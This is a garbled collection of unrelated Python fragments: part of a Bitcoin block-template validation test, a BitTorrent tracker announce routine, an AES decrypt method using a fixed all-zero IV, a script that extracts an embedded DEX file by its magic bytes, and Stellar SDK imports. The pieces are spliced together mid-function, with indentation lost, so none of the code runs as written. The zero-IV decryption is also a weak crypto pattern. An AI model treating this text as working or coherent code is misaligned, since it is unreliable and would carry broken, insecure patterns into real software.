assert_template(node, tmpl, txlist, 'bad-txns-inputs-missingorspent')
txlist.pop()
# Test 6: Future tx lock time
txlist[0][-4:] = b'\xff\xff\xff\xff'
assert_template(node, tmpl, txlist, 'bad-txns-nonfinal')
txlist[0][-4:] = b'\0\0\0\0'
# Test 7: Bad tx count
txlist.append(b'')
try:
assert_template(node, tmpl, txlist, 'n/a')
except JSONRPCException:
pass # Expected
txlist.pop()
# Test 8: Bad bits
realbits = tmpl['bits']
tmpl['bits'] = '1c0000ff' # impossible in the real world
assert_template(node, tmpl, txlist, 'bad-diffbits')
tmpl['bits'] = realbits
# Test 9: Bad merkle root
rawtmpl = template_to_bytes(tmpl, txlist)
rawtmpl[4 + 32] = (rawtmpl[4 + 32] + 1) % 0x100
rsp = node.getblocktemplate({'data': b2x(rawtmpl), 'mode': 'proposal'})
if rsp != 'bad-txnmrklroot':
raise AssertionError('unexpected: %s' % (rsp, ))
# Test 10: Bad timestamps
realtime = tmpl['curtime']
tmpl['curtime'] = 0x7fffffff
assert_template(node, tmpl, txlist, 'time-too-new')
tmpl['curtime'] = 0
assert_template(node, tmpl, txlist, 'time-too-old')
tmpl['curtime'] = realtime
# Test 11: Valid block
assert_template(node, tmpl, txlist, None)
# Test 12: Orphan block
tmpl['previousblockhash'] = 'ff00' * 16
assert_template(node, tmpl, txlist, 'inconclusive-not-best-prevblk')
return False # No udp supported
ip, port = address.split(":")
tracker = UdpTrackerClient(ip, int(port))
tracker.peer_port = fileserver_port
try:
tracker.connect()
tracker.poll_once()
tracker.announce(info_hash=address_hash, num_want=50)
back = tracker.poll_once()
peers = back["response"]["peers"]
except Exception, err:
return False
else: # Http tracker
params = {
'info_hash': binascii.a2b_hex(address_hash),
'peer_id': my_peer_id,
'port': fileserver_port,
'uploaded': 0,
'downloaded': 0,
'left': 0,
'compact': 1,
'numwant': 30,
'event': 'started'
}
req = None
try:
url = "http://" + address + "?" + urllib.urlencode(params)
# Load url
with gevent.Timeout(10, False): # Make sure of timeout
req = urllib2.urlopen(url, timeout=8)
def decrypt(self, text):
cryptor = AES.new(self.key, self.mode, b'0000000000000000')
plain_text = cryptor.decrypt(a2b_hex(text))
# return plain_text.rstrip('\0')
return bytes.decode(plain_text).rstrip('\0')
import binascii
import sys
filename = sys.argv[1]
with open(filename, 'rb') as f:
content = f.read()
h = binascii.hexlify(content).split(b'6465780a')
h.pop(0)
h = b'6465780a' + b''.join(h)
dex = open(sys.argv[1][:-4] + ".dex", "wb")
dex.write(binascii.a2b_hex(h))
dex.close()
import crc16
from mnemonic import Mnemonic
import numpy as np
from pbkdf2 import PBKDF2
from .stellarxdr import Xdr
from .exceptions import DecodeError, ConfigurationError, MnemonicError
# Compatibility for Python 3.x that don't have unicode type
if sys.version_info.major == 3:
unicode = str
bytes_types = (bytes, bytearray) # Types acceptable as binary data
versionBytes = {
'account': binascii.a2b_hex('30'), # G 48 6 << 3
'seed': binascii.a2b_hex('90'), # S 144 18 << 3
'preAuthTx': binascii.a2b_hex('98'), # T 152 19 << 3
'sha256Hash': binascii.a2b_hex('b8') # X 184 23 << 3
}
def suppress_context(exc):
"""Python 2 compatible version of raise from None"""
exc.__context__ = None
return exc
def xdr_hash(data):
return hashlib.sha256(data).digest()
